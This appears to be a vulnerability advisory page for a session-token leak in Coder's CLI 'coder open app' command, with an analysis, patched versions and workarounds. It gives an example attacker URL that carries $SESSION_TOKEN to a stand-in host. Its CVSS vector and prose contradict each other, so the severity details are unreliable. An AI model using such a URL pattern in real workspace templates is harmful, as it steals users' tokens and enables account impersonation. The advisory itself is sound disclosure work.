EUVD-2026-42140
GHSA-v54h-cp2w-9x4g
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Authenticated user (PR:L) must run the command (UI:R) against an attacker-authored workspace (AC:H); stolen token crosses trust boundary (S:C) enabling impersonation (C:H/I:H), no availability impact.
Primary rating from Vendor (https://github.com/coder/coder).
CVSS VectorNVD
Lifecycle Timeline
5DescriptionNVD
Summary
coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.
> Note: Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.
Impact
Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSION_TOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.
Patches
The fix applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend.
The fix was backported to all supported release lines:
Workarounds
Avoid running coder open app for untrusted workspaces.
Resources
- Fix: #26146
Credits
Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!
AnalysisAI
Session token leakage in Coder's CLI (github.com/coder/coder v2) lets a malicious template author steal a user's session token when the victim runs coder open app. The coder open app command opens external workspace-app URLs without scheme/host validation and substitutes the $SESSION_TOKEN placeholder with the user's real token before passing the URL to the OS open handler, so a workspace-controlled URL like https://attacker.example/?t=$SESSION_TOKEN exfiltrates the token and enables full account impersonation for its lifetime; the same path can invoke arbitrary local URI-scheme handlers. No public exploit identified at time of analysis, and it is not listed in CISA KEV.
Technical ContextAI
Coder is an open-source platform for provisioning cloud development workspaces, distributed as a Go module (pkg:go/github.com_coder_coder_v2). Workspaces are defined by templates that may register 'external apps' with associated URLs; the CLI supports a $SESSION_TOKEN placeholder so trusted destinations (like the web frontend) can be opened with the user pre-authenticated. The root cause is CWE-522 (Insufficiently Protected Credentials): the coder open app command performs the token substitution and hands the resulting URL to the operating system's default open handler without an allowlist on the URL scheme or host, so the credential is disclosed to whatever destination the (attacker-controlled) template specified. Because template/workspace authors control external app definitions, an untrusted workspace becomes an authenticated-user-triggered credential exfiltration primitive, and the unrestricted scheme also permits invocation of arbitrary local URI handlers.
RemediationAI
Upgrade to the patched release for your line - Vendor-released patch: v2.34.2 (2.34), v2.33.8 (2.33), v2.32.7 (2.32), or v2.29.17 (2.29 ESR); see GHSA-v54h-cp2w-9x4g and PR #26146. The fix adds a URL-scheme allowlist in the CLI and restricts $SESSION_TOKEN substitution to trusted destinations such as the web frontend. As a workaround until patched, avoid running coder open app against untrusted or externally authored workspaces and templates, and restrict template authoring/publishing to trusted operators so external app URLs cannot be attacker-controlled; the trade-off is reduced self-service flexibility for workspace owners. Because a leaked token grants full impersonation for its lifetime, rotate/revoke sessions for any user who may have run coder open app against an untrusted workspace before patching.
Same weakness CWE-522 – Insufficiently Protected Credentials
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today